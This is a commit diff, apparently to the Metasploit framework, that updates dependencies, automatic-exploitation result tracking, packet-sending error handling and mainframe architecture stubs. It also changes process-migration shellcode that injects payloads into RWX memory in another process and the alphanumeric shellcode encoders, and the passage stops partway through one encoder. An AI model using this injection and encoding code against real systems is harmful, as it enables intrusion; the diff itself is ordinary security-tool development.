commit
568b33c67f
|
@ -16,7 +16,7 @@ PATH
|
||||||
packetfu (= 1.1.11)
|
packetfu (= 1.1.11)
|
||||||
railties
|
railties
|
||||||
rb-readline-r7
|
rb-readline-r7
|
||||||
recog (= 2.0.6)
|
recog (= 2.0.14)
|
||||||
robots
|
robots
|
||||||
rubyzip (~> 1.1)
|
rubyzip (~> 1.1)
|
||||||
sqlite3
|
sqlite3
|
||||||
|
@ -25,7 +25,7 @@ PATH
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-credential (= 1.0.1)
|
metasploit-credential (= 1.0.1)
|
||||||
metasploit-framework (= 4.11.4)
|
metasploit-framework (= 4.11.4)
|
||||||
metasploit_data_models (= 1.2.5)
|
metasploit_data_models (= 1.2.7)
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
metasploit-framework-pcap (4.11.4)
|
metasploit-framework-pcap (4.11.4)
|
||||||
metasploit-framework (= 4.11.4)
|
metasploit-framework (= 4.11.4)
|
||||||
|
@ -126,7 +126,7 @@ GEM
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.15)
|
metasploit-payloads (1.0.15)
|
||||||
metasploit_data_models (1.2.5)
|
metasploit_data_models (1.2.7)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
arel-helpers
|
arel-helpers
|
||||||
|
@ -178,7 +178,7 @@ GEM
|
||||||
thor (>= 0.18.1, < 2.0)
|
thor (>= 0.18.1, < 2.0)
|
||||||
rake (10.4.2)
|
rake (10.4.2)
|
||||||
rb-readline-r7 (0.5.2.0)
|
rb-readline-r7 (0.5.2.0)
|
||||||
recog (2.0.6)
|
recog (2.0.14)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.2.3)
|
redcarpet (3.2.3)
|
||||||
rkelly-remix (0.0.6)
|
rkelly-remix (0.0.6)
|
||||||
|
|
|
@ -86,7 +86,7 @@ module Auxiliary::UDPScanner
|
||||||
p.recalc
|
p.recalc
|
||||||
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
|
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
|
||||||
1.upto(num_packets) do |x|
|
1.upto(num_packets) do |x|
|
||||||
capture_sendto(p, ip)
|
break unless capture_sendto(p, ip)
|
||||||
end
|
end
|
||||||
close_pcap
|
close_pcap
|
||||||
end
|
end
|
||||||
|
|
|
@ -153,6 +153,8 @@ module Msf::DBManager::ExploitAttempt
|
||||||
attempt_info[:vuln_id] = vuln.id
|
attempt_info[:vuln_id] = vuln.id
|
||||||
vuln.vuln_attempts.create(attempt_info)
|
vuln.vuln_attempts.create(attempt_info)
|
||||||
|
|
||||||
|
create_match_result_for_vuln(vuln,opts)
|
||||||
|
|
||||||
# Correct the vuln's associated service if necessary
|
# Correct the vuln's associated service if necessary
|
||||||
if svc and vuln.service_id.nil?
|
if svc and vuln.service_id.nil?
|
||||||
vuln.service = svc
|
vuln.service = svc
|
||||||
|
@ -176,4 +178,59 @@ module Msf::DBManager::ExploitAttempt
|
||||||
}
|
}
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Create a MetasploitDataModels::AutomaticExploitation::Match result for the given vuln
|
||||||
|
# @option opts [Integer] :run_id
|
||||||
|
# @return [void]
|
||||||
|
def create_match_result_for_vuln(vuln, opts)
|
||||||
|
run = MetasploitDataModels::AutomaticExploitation::Run.where(id:opts[:run_id]).last
|
||||||
|
|
||||||
|
if run.present?
|
||||||
|
match = MetasploitDataModels::AutomaticExploitation::Match.by_run_and_vuln(run,vuln).last
|
||||||
|
|
||||||
|
# If no match found in the current run
|
||||||
|
unless match.present?
|
||||||
|
# Create match if the vuln has the data we need to create a match
|
||||||
|
match = create_match_for_vuln(vuln,opts.merge(run:run))
|
||||||
|
end
|
||||||
|
|
||||||
|
create_match_result(opts.merge(match:match,run:run)) if match.present?
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create a MetasploitDataModels::AutomaticExploitation::Match result with a success or failure state
|
||||||
|
# @option opts [MetasploitDataModels::AutomaticExploitation::Match] :match
|
||||||
|
# @option opts [MetasploitDataModels::AutomaticExploitation::Run] :run
|
||||||
|
# @return [void]
|
||||||
|
def create_match_result(opts)
|
||||||
|
if opts[:session_id]
|
||||||
|
state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
|
||||||
|
else
|
||||||
|
state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
|
||||||
|
end
|
||||||
|
|
||||||
|
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||||
|
match: opts[:match],
|
||||||
|
run: opts[:run],
|
||||||
|
state: state
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create a MetasploitDataModels::AutomaticExploitation::Match for the given vuln
|
||||||
|
# @option vuln [Mdm::Vuln] :vuln
|
||||||
|
# @option opts [Mdm::Workspace] :workspace
|
||||||
|
# @option opts [String] :username
|
||||||
|
# @return [ MetasploitDataModels::AutomaticExploitation::Match, MetasploitDataModels::AutomaticExploitation::Run]
|
||||||
|
def create_match_for_vuln(vuln,opts)
|
||||||
|
wspace = opts[:workspace] || workspace
|
||||||
|
run = opts[:run]
|
||||||
|
module_fullname = opts[:module]
|
||||||
|
|
||||||
|
run.match_set.create_match_for_vuln(
|
||||||
|
vuln,
|
||||||
|
workspace: wspace,
|
||||||
|
module_fullname: module_fullname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -91,18 +91,10 @@ module Msf::DBManager::Session
|
||||||
|
|
||||||
wspace = s.workspace
|
wspace = s.workspace
|
||||||
|
|
||||||
if session
|
|
||||||
if session.exploit.user_data_is_match?
|
if session and session.via_exploit
|
||||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
# This is a live session, we know the host is vulnerable to something.
|
||||||
match: session.exploit.user_data[:match],
|
infer_vuln_from_session(session, wspace)
|
||||||
run: session.exploit.user_data[:run],
|
|
||||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED,
|
|
||||||
)
|
|
||||||
infer_vuln_from_session(session, wspace)
|
|
||||||
elsif session.via_exploit
|
|
||||||
# This is a live session, we know the host is vulnerable to something.
|
|
||||||
infer_vuln_from_session(session, wspace)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
s
|
s
|
||||||
|
@ -158,6 +150,7 @@ module Msf::DBManager::Session
|
||||||
username: session.username,
|
username: session.username,
|
||||||
vuln: vuln,
|
vuln: vuln,
|
||||||
workspace: wspace,
|
workspace: wspace,
|
||||||
|
run_id: session.exploit.user_data.try(:[], :run_id)
|
||||||
}
|
}
|
||||||
|
|
||||||
framework.db.report_exploit_success(attempt_info)
|
framework.db.report_exploit_success(attempt_info)
|
||||||
|
|
|
@ -1270,7 +1270,8 @@ class Exploit < Msf::Module
|
||||||
:fail_detail => self.fail_detail,
|
:fail_detail => self.fail_detail,
|
||||||
:target_name => self.target.name,
|
:target_name => self.target.name,
|
||||||
:username => self.owner,
|
:username => self.owner,
|
||||||
:refs => self.references
|
:refs => self.references,
|
||||||
|
:run_id => self.datastore['RUN_ID']
|
||||||
}
|
}
|
||||||
|
|
||||||
if self.datastore['RHOST'] and self.options['RHOST']
|
if self.datastore['RHOST'] and self.options['RHOST']
|
||||||
|
@ -1284,15 +1285,6 @@ class Exploit < Msf::Module
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if user_data_is_match?
|
|
||||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
|
||||||
match: user_data[:match],
|
|
||||||
run: user_data[:run],
|
|
||||||
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED,
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
framework.db.report_exploit_failure(info)
|
framework.db.report_exploit_failure(info)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -232,17 +232,24 @@ module Msf
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
# Sends a payload to a given target using the pcap capture interface
|
||||||
# a payload and a destination address. To send to the broadcast address, set bcast
|
#
|
||||||
# to true (this will guarantee that packets will be sent even if ARP doesn't work
|
# == Parameters:
|
||||||
# out).
|
# payload:: The payload String to send
|
||||||
|
# dhost:: the destination host to send to
|
||||||
|
# bcast:: set to `true` to send to the broadcast address if necessary
|
||||||
|
# dev:: the name of the network interface to send the payload on
|
||||||
|
#
|
||||||
|
# == Returns:
|
||||||
|
# The number of bytes sent iff the payload was successfully sent/injected. `false` otherwise
|
||||||
def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil)
|
def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil)
|
||||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" unless self.capture
|
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" unless self.capture
|
||||||
raise RuntimeError, "Must specify a host to sendto" unless dhost
|
raise RuntimeError, "Must specify a host to sendto" unless dhost
|
||||||
dev ||= datastore['INTERFACE']
|
dev ||= datastore['INTERFACE']
|
||||||
dst_mac, src_mac = lookup_eth(dhost, dev)
|
dst_mac, src_mac = lookup_eth(dhost, dev)
|
||||||
if dst_mac == nil and not bcast
|
if dst_mac == nil and not bcast
|
||||||
raise RuntimeError, 'Unable to determine the destination MAC and bcast is false'
|
vprint_error("Unable to determine the destination MAC for #{dhost} on #{dev} and bcast is false")
|
||||||
|
return false
|
||||||
end
|
end
|
||||||
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
|
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
|
||||||
end
|
end
|
||||||
|
|
|
@ -210,6 +210,7 @@ protected
|
||||||
# Wait for session, but don't wait long.
|
# Wait for session, but don't wait long.
|
||||||
delay = 0.01
|
delay = 0.01
|
||||||
end
|
end
|
||||||
|
|
||||||
exploit.handle_exception e
|
exploit.handle_exception e
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -59,10 +59,6 @@ class Module
|
||||||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||||
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||||
|
|
||||||
# The set of keys in {#user_data} that make {#user_data_is_match?} return
|
|
||||||
# true
|
|
||||||
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
|
|
||||||
|
|
||||||
# Make include public so we can runtime extend
|
# Make include public so we can runtime extend
|
||||||
public_class_method :include
|
public_class_method :include
|
||||||
|
|
||||||
|
@ -295,13 +291,6 @@ class Module
|
||||||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Whether {#user_data} contains everything necessary to make a
|
|
||||||
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
|
|
||||||
#
|
|
||||||
# @return [bool]
|
|
||||||
def user_data_is_match?
|
|
||||||
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
|
|
||||||
end
|
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
@ -347,7 +336,6 @@ class Module
|
||||||
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
|
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
|
||||||
# from.
|
# from.
|
||||||
#
|
#
|
||||||
# @see #user_data_is_match?
|
|
||||||
attr_accessor :user_data
|
attr_accessor :user_data
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
|
@ -524,4 +524,12 @@ class Msf::Module::Platform
|
||||||
Rank = 100
|
Rank = 100
|
||||||
Alias = "firefox"
|
Alias = "firefox"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Mainframe
|
||||||
|
#
|
||||||
|
class Mainframe < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
Alias = "mainframe"
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -30,6 +30,7 @@ class Payload < Msf::Module
|
||||||
require 'msf/core/payload/java'
|
require 'msf/core/payload/java'
|
||||||
require 'msf/core/payload/dalvik'
|
require 'msf/core/payload/dalvik'
|
||||||
require 'msf/core/payload/firefox'
|
require 'msf/core/payload/firefox'
|
||||||
|
require 'msf/core/payload/mainframe'
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,33 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class is here to implement advanced features for mainframe based
|
||||||
|
# payloads. Mainframe payloads are expected to include this module if
|
||||||
|
# they want to support these features.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Msf::Payload::Mainframe
|
||||||
|
|
||||||
|
#
|
||||||
|
# Z notes
|
||||||
|
# Z notes
|
||||||
|
#
|
||||||
|
def initialize(info = {})
|
||||||
|
ret = super(info)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns a list of compatible encoders based on mainframe architecture
|
||||||
|
# most will not work because of the different architecture
|
||||||
|
# an XOR-based encoder will be defined soon
|
||||||
|
#
|
||||||
|
def compatible_encoders
|
||||||
|
encoders = super()
|
||||||
|
encoders2 = ['/generic\/none/','none']
|
||||||
|
|
||||||
|
return encoders2
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -240,8 +240,19 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
; allocate memory in the process (VirtualAllocEx())
|
; allocate memory in the process (VirtualAllocEx())
|
||||||
; get handle
|
; get handle
|
||||||
push 0x40 ; RWX
|
push 0x40 ; RWX
|
||||||
add bh,0x10 ; ebx = 0x1000
|
add bh, 0x10 ; ebx = 0x1000
|
||||||
push ebx ; MEM_COMMIT
|
push ebx ; MEM_COMMIT
|
||||||
|
EOS
|
||||||
|
|
||||||
|
if buf.length > 4096
|
||||||
|
# probably stageless, so we don't have shellcode size constraints,
|
||||||
|
# and so we can just set ebx to the size of the payload
|
||||||
|
migrate_asm << <<-EOS
|
||||||
|
mov ebx, #{payloadsize} ; stageless size
|
||||||
|
EOS
|
||||||
|
end
|
||||||
|
|
||||||
|
migrate_asm << <<-EOS
|
||||||
push ebx ; size
|
push ebx ; size
|
||||||
xor ebx,ebx
|
xor ebx,ebx
|
||||||
push ebx ; address
|
push ebx ; address
|
||||||
|
@ -445,10 +456,11 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
call rbp ; GetStartupInfoA( &si );
|
call rbp ; GetStartupInfoA( &si );
|
||||||
|
|
||||||
jmp getcommand
|
jmp getcommand
|
||||||
gotcommand:
|
gotcommand:
|
||||||
pop rsi ; rsi = address of process name (command line)
|
pop rsi ; rsi = address of process name (command line)
|
||||||
|
|
||||||
; create the process
|
; create the process
|
||||||
|
push 0 ; keep the stack aligned
|
||||||
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
|
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
|
||||||
push rdi ; lpProcessInformation : write processinfo here
|
push rdi ; lpProcessInformation : write processinfo here
|
||||||
lea rcx,[rsp+0x58]
|
lea rcx,[rsp+0x58]
|
||||||
|
@ -474,7 +486,22 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
; get handle
|
; get handle
|
||||||
push 0x40 ; RWX
|
push 0x40 ; RWX
|
||||||
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
|
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
|
||||||
|
EOS
|
||||||
|
|
||||||
|
if buf.length > 4096
|
||||||
|
# probably stageless, so we don't have shellcode size constraints,
|
||||||
|
# and so we can just set r8 to the size of the payload
|
||||||
|
migrate_asm << <<-EOS
|
||||||
|
mov r8, #{payloadsize} ; stageless size
|
||||||
|
EOS
|
||||||
|
else
|
||||||
|
# otherwise we'll juse reuse r9 (4096) for size
|
||||||
|
migrate_asm << <<-EOS
|
||||||
mov r8,r9 ; size
|
mov r8,r9 ; size
|
||||||
|
EOS
|
||||||
|
end
|
||||||
|
|
||||||
|
migrate_asm << <<-EOS
|
||||||
xor rdx,rdx ; address
|
xor rdx,rdx ; address
|
||||||
mov rcx, [rdi] ; handle
|
mov rcx, [rdi] ; handle
|
||||||
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
||||||
|
|
|
@ -1777,7 +1777,7 @@ class Db
|
||||||
case arg
|
case arg
|
||||||
when '-h','--help'
|
when '-h','--help'
|
||||||
print_line "Usage:"
|
print_line "Usage:"
|
||||||
print_line " db_export -f <format> [-a] [filename]"
|
print_line " db_export -f <format> [filename]"
|
||||||
print_line " Format can be one of: #{export_formats.join(", ")}"
|
print_line " Format can be one of: #{export_formats.join(", ")}"
|
||||||
when '-f','--format'
|
when '-f','--format'
|
||||||
format = args.shift.to_s.downcase
|
format = args.shift.to_s.downcase
|
||||||
|
|
|
@ -18,6 +18,7 @@ module Arch
|
||||||
#
|
#
|
||||||
require 'rex/arch/x86'
|
require 'rex/arch/x86'
|
||||||
require 'rex/arch/sparc'
|
require 'rex/arch/sparc'
|
||||||
|
require 'rex/arch/zarch'
|
||||||
|
|
||||||
#
|
#
|
||||||
# This routine adjusts the stack pointer for a given architecture.
|
# This routine adjusts the stack pointer for a given architecture.
|
||||||
|
@ -64,6 +65,8 @@ module Arch
|
||||||
[addr].pack('V')
|
[addr].pack('V')
|
||||||
when ARCH_ARMBE
|
when ARCH_ARMBE
|
||||||
[addr].pack('N')
|
[addr].pack('N')
|
||||||
|
when ARCH_ZARCH
|
||||||
|
[addr].pack('Q>')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -95,6 +98,8 @@ module Arch
|
||||||
return ENDIAN_LITTLE
|
return ENDIAN_LITTLE
|
||||||
when ARCH_ARMBE
|
when ARCH_ARMBE
|
||||||
return ENDIAN_BIG
|
return ENDIAN_BIG
|
||||||
|
when ARCH_ZARCH
|
||||||
|
return ENDIAN_BIG
|
||||||
end
|
end
|
||||||
|
|
||||||
return ENDIAN_LITTLE
|
return ENDIAN_LITTLE
|
||||||
|
|
|
@ -421,8 +421,7 @@ module X86
|
||||||
# This method returns an array containing a geteip stub, a register, and an offset
|
# This method returns an array containing a geteip stub, a register, and an offset
|
||||||
# This method will return nil if the getip generation fails
|
# This method will return nil if the getip generation fails
|
||||||
#
|
#
|
||||||
def self.geteip_fpu(badchars)
|
def self.geteip_fpu(badchars, modified_registers = [])
|
||||||
|
|
||||||
#
|
#
|
||||||
# Default badchars to an empty string
|
# Default badchars to an empty string
|
||||||
#
|
#
|
||||||
|
@ -470,18 +469,29 @@ module X86
|
||||||
#
|
#
|
||||||
while(dsts.length > 0)
|
while(dsts.length > 0)
|
||||||
buf = ''
|
buf = ''
|
||||||
|
mod_registers = [ESP]
|
||||||
dst = dsts[ rand(dsts.length) ]
|
dst = dsts[ rand(dsts.length) ]
|
||||||
dsts.delete(dst)
|
dsts.delete(dst)
|
||||||
|
|
||||||
# If the register is not ESP, copy ESP
|
# If the register is not ESP, copy ESP
|
||||||
if (dst != ESP)
|
if (dst != ESP)
|
||||||
next if badchars.index( (0x70 + dst).chr )
|
mod_registers.push(dst)
|
||||||
|
if badchars.index( (0x70 + dst).chr )
|
||||||
|
mod_registers.pop(dst)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
|
if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
|
||||||
buf << "\x89" + (0xE0 + dst).chr
|
buf << "\x89" + (0xE0 + dst).chr
|
||||||
else
|
else
|
||||||
next if badchars.index("\x54")
|
if badchars.index("\x54")
|
||||||
next if badchars.index( (0x58+dst).chr )
|
mod_registers.pop(dst)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
if badchars.index( (0x58+dst).chr )
|
||||||
|
mod_registers.pop(dst)
|
||||||
|
next
|
||||||
|
end
|
||||||
buf << "\x54" + (0x58 + dst).chr
|
buf << "\x54" + (0x58 + dst).chr
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -506,6 +516,7 @@ module X86
|
||||||
regs.delete(reg)
|
regs.delete(reg)
|
||||||
next if reg == ESP
|
next if reg == ESP
|
||||||
next if badchars.index( (0x58 + reg).chr )
|
next if badchars.index( (0x58 + reg).chr )
|
||||||
|
mod_registers.push(reg)
|
||||||
|
|
||||||
# Pop the value back out
|
# Pop the value back out
|
||||||
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
|
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
|
||||||
|
@ -513,8 +524,11 @@ module X86
|
||||||
# Fix the value to point to self
|
# Fix the value to point to self
|
||||||
gap = out.length - buf.length
|
gap = out.length - buf.length
|
||||||
|
|
||||||
|
mod_registers.uniq!
|
||||||
|
modified_registers.concat(mod_registers)
|
||||||
return [out, REG_NAMES32[reg].upcase, gap]
|
return [out, REG_NAMES32[reg].upcase, gap]
|
||||||
end
|
end
|
||||||
|
mod_registers.pop(dst)
|
||||||
end
|
end
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
|
|
|
@ -0,0 +1,17 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Arch
|
||||||
|
|
||||||
|
#
|
||||||
|
# base module for ZARCH creation 8/13/15
|
||||||
|
# Author: BeS Bigendian Smalls
|
||||||
|
#
|
||||||
|
|
||||||
|
module ZARCH
|
||||||
|
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end
|
||||||
|
|
|
@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
|
||||||
ARCH_PYTHON = 'python'
|
ARCH_PYTHON = 'python'
|
||||||
ARCH_NODEJS = 'nodejs'
|
ARCH_NODEJS = 'nodejs'
|
||||||
ARCH_FIREFOX = 'firefox'
|
ARCH_FIREFOX = 'firefox'
|
||||||
|
ARCH_ZARCH = 'zarch'
|
||||||
ARCH_TYPES =
|
ARCH_TYPES =
|
||||||
[
|
[
|
||||||
ARCH_X86,
|
ARCH_X86,
|
||||||
|
@ -110,7 +111,8 @@ ARCH_TYPES =
|
||||||
ARCH_DALVIK,
|
ARCH_DALVIK,
|
||||||
ARCH_PYTHON,
|
ARCH_PYTHON,
|
||||||
ARCH_NODEJS,
|
ARCH_NODEJS,
|
||||||
ARCH_FIREFOX
|
ARCH_FIREFOX,
|
||||||
|
ARCH_ZARCH,
|
||||||
]
|
]
|
||||||
|
|
||||||
ARCH_ALL = ARCH_TYPES
|
ARCH_ALL = ARCH_TYPES
|
||||||
|
|
|
@ -8,22 +8,49 @@ module Alpha2
|
||||||
|
|
||||||
class AlphaMixed < Generic
|
class AlphaMixed < Generic
|
||||||
|
|
||||||
def self.gen_decoder_prefix(reg, offset)
|
# Generates the decoder stub prefix
|
||||||
if (offset > 32)
|
#
|
||||||
raise "Critical: Offset is greater than 32"
|
# @param [String] reg the register pointing to the encoded payload
|
||||||
|
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||||
|
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||||
|
# @return [String] the alpha mixed decoder stub prefix
|
||||||
|
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
||||||
|
if offset > 32
|
||||||
|
raise 'Critical: Offset is greater than 32'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
mod_registers = []
|
||||||
|
nop_regs = []
|
||||||
|
mod_regs = []
|
||||||
|
edx_regs = []
|
||||||
|
|
||||||
# use inc ebx as a nop here so we still pad correctly
|
# use inc ebx as a nop here so we still pad correctly
|
||||||
if (offset <= 16)
|
if offset <= 16
|
||||||
nop = 'C' * offset
|
nop = 'C' * offset
|
||||||
|
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||||
|
|
||||||
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
|
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
|
||||||
|
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
|
||||||
|
mod_regs.concat(nop_regs)
|
||||||
|
mod_regs.push(Rex::Arch::X86::EDX)
|
||||||
|
|
||||||
edxmod = 'J' * (17 - offset)
|
edxmod = 'J' * (17 - offset)
|
||||||
|
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||||
else
|
else
|
||||||
mod = 'A' * (offset - 16)
|
mod = 'A' * (offset - 16)
|
||||||
|
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
||||||
|
|
||||||
nop = 'C' * (16 - mod.length)
|
nop = 'C' * (16 - mod.length)
|
||||||
|
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
||||||
|
|
||||||
mod << nop + '7QZ'
|
mod << nop + '7QZ'
|
||||||
|
mod_regs.concat(nop_regs)
|
||||||
|
mod_regs.push(Rex::Arch::X86::EDX)
|
||||||
|
|
||||||
edxmod = 'B' * (17 - (offset - 16))
|
edxmod = 'B' * (17 - (offset - 16))
|
||||||
|
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
||||||
end
|
end
|
||||||
|
|
||||||
regprefix = {
|
regprefix = {
|
||||||
'EAX' => 'PY' + mod, # push eax, pop ecx
|
'EAX' => 'PY' + mod, # push eax, pop ecx
|
||||||
'ECX' => 'I' + mod, # dec ecx
|
'ECX' => 'I' + mod, # dec ecx
|
||||||
|
@ -36,15 +63,38 @@ class AlphaMixed < Generic
|
||||||
}
|
}
|
||||||
|
|
||||||
reg.upcase!
|
reg.upcase!
|
||||||
if (not regprefix.keys.include? reg)
|
|
||||||
raise ArgumentError.new("Invalid register name")
|
unless regprefix.keys.include?(reg)
|
||||||
|
raise ArgumentError.new('Invalid register name')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
case reg
|
||||||
|
when 'EDX'
|
||||||
|
mod_registers.concat(edx_regs)
|
||||||
|
mod_registers.concat(nop_regs)
|
||||||
|
mod_registers.push(Rex::Arch::X86::ECX)
|
||||||
|
else
|
||||||
|
mod_registers.push(Rex::Arch::X86::ECX)
|
||||||
|
mod_registers.concat(mod_regs)
|
||||||
|
end
|
||||||
|
|
||||||
|
mod_registers.uniq!
|
||||||
|
modified_registers.concat(mod_registers)
|
||||||
|
|
||||||
return regprefix[reg]
|
return regprefix[reg]
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.gen_decoder(reg, offset)
|
# Generates the decoder stub
|
||||||
|
#
|
||||||
|
# @param [String] reg the register pointing to the encoded payload
|
||||||
|
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||||
|
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||||
|
# @return [String] the alpha mixed decoder stub
|
||||||
|
def self.gen_decoder(reg, offset, modified_registers = [])
|
||||||
|
mod_registers = []
|
||||||
|
|
||||||
decoder =
|
decoder =
|
||||||
gen_decoder_prefix(reg, offset) +
|
gen_decoder_prefix(reg, offset, mod_registers) +
|
||||||
"jA" + # push 0x41
|
"jA" + # push 0x41
|
||||||
"X" + # pop eax
|
"X" + # pop eax
|
||||||
"P" + # push eax
|
"P" + # push eax
|
||||||
|
@ -62,7 +112,18 @@ class AlphaMixed < Generic
|
||||||
"uJ" + # jnz short -------------------------
|
"uJ" + # jnz short -------------------------
|
||||||
"I" # first encoded char, fixes the above J
|
"I" # first encoded char, fixes the above J
|
||||||
|
|
||||||
return decoder
|
mod_registers.concat(
|
||||||
|
[
|
||||||
|
Rex::Arch::X86::ESP,
|
||||||
|
Rex::Arch::X86::EAX,
|
||||||
|
Rex::Arch::X86::ECX,
|
||||||
|
Rex::Arch::X86::EDX
|
||||||
|
])
|
||||||
|
|
||||||
|
mod_registers.uniq!
|
||||||
|
modified_registers.concat(mod_registers)
|
||||||
|
|
||||||
|
decoder
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end end
|
end end end end
|
||||||
|
|
|
@ -9,21 +9,47 @@ module Alpha2
|
||||||
class AlphaUpper < Generic
|
class AlphaUpper < Generic
|
||||||
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||||
|
|
||||||
def self.gen_decoder_prefix(reg, offset)
|
# Generates the decoder stub prefix
|
||||||
if (offset > 20)
|
#
|
||||||
raise "Critical: Offset is greater than 20"
|
# @param [String] reg the register pointing to the encoded payload
|
||||||
|
# @param [Fixnum] offset the offset to reach the encoded payload
|
||||||
|
# @param [Array] modified_registers accounts the registers modified by the stub
|
||||||
|
# @return [String] the alpha upper decoder stub prefix
|
||||||
|
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
||||||
|
if offset > 20
|
||||||
|
raise 'Critical: Offset is greater than 20'
|
||||||
end
|
end
|
||||||
